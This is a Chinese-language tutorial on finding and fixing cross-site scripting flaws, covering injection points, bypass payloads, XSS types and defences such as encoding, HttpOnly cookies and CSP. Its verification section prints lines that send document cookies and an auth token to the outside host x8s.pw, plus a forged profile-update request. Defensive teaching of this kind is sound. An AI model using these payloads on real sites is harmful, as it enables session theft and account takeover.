实战演练:如何检测并修复网站中的XSS漏洞
在 Web 安全中,跨站脚本攻击(XSS) 是最常见的漏洞之一。它利用网站未对输入和输出进行严格处理的缺陷,让攻击者可以在用户浏览器中执行恶意脚本。
本篇文章将带你通过一次完整的实战演练,学习如何检测和修复网站中的 XSS 漏洞。
一、准备工作
在进行 XSS 漏洞检测时,常见的工具和方法包括:
浏览器调试工具(F12 控制台)
Burp Suite / Fiddler(拦截和修改请求)
Nuclei / XSStrike(自动化漏洞扫描)
手工构造 Payload(更灵活,绕过过滤)
目标:找到输入点,尝试注入恶意脚本,并观察是否被执行。
二、检测流程
1. 寻找输入点
常见位置包括:
搜索框、评论区、注册表单
URL 参数,如:
https://x8s.pw/search?q=test
HTTP Header(User-Agent、Referer 等)
2. 基础测试
尝试注入简单的脚本:
<script>alert('XSS')</script>
若页面弹窗,则说明存在 XSS。
3. 变形绕过
有的网站会过滤 <script>
,这时可以换用其他触发方式:
<img src=1 onerror=alert('xss')>
或利用 DOM 属性:
"><svg/onload=alert(1)>
4. 确认漏洞点
如果注入点在 URL 参数中生效 → 反射型 XSS。
如果注入后被存储并影响其他用户 → 存储型 XSS。
如果漏洞来自前端脚本逻辑 → DOM 型 XSS。
三、复现与验证
在漏洞确认后,需进一步验证能否 窃取信息:
窃取 Cookie 示例
new Image().src="https://x8s.pw/log?c="+document.cookie;
窃取 Token 示例
fetch("https://x8s.pw/collect?token="+localStorage.getItem("auth_token"));
伪造请求
fetch("/api/updateProfile",{ method:"POST", body:"nickname=hacker", credentials:"include"});
如果这些代码能成功执行,说明漏洞危害较大。
四、修复措施
1. 输入过滤与输出编码
在后端层面对用户输入做严格过滤。
在输出到 HTML 时进行转义,例如:
<
→<
>
→>
2. 上下文安全编码
不同上下文需采用不同的编码方式:
HTML 内容 → HTML 转义
JavaScript 中 → JS 编码
URL 中 → URL 编码
3. 使用 HttpOnly Cookie
防止关键 Cookie 被 JavaScript 获取:
Set-Cookie: session=abcd; HttpOnly; Secure
4. 启用 CSP(内容安全策略)
通过 HTTP 头限制脚本来源:
Content-Security-Policy: default-src 'self'; script-src 'self'
5. 前端框架防护
使用 React / Vue 等框架时,默认对变量转义,能大大降低风险。
五、验证修复效果
修复完成后,需要再次测试:
重复之前的 Payload 注入,确认已无法执行。
使用自动化工具重新扫描。
查看服务器日志,确认未再出现可疑请求。
六、总结
检测阶段:寻找输入点 → 注入 Payload → 观察是否执行。
复现阶段:确认漏洞类型与危害程度。
修复阶段:过滤 + 编码 + HttpOnly + CSP,多层防御。
验证阶段:复测与监控,确保漏洞彻底修复。
XSS 漏洞看似简单,但真正的危害往往是 窃取隐私、会话劫持、蠕虫传播。
因此,在实际开发中,安全编码 + 安全测试 + 持续审计 才能真正杜绝 XSS。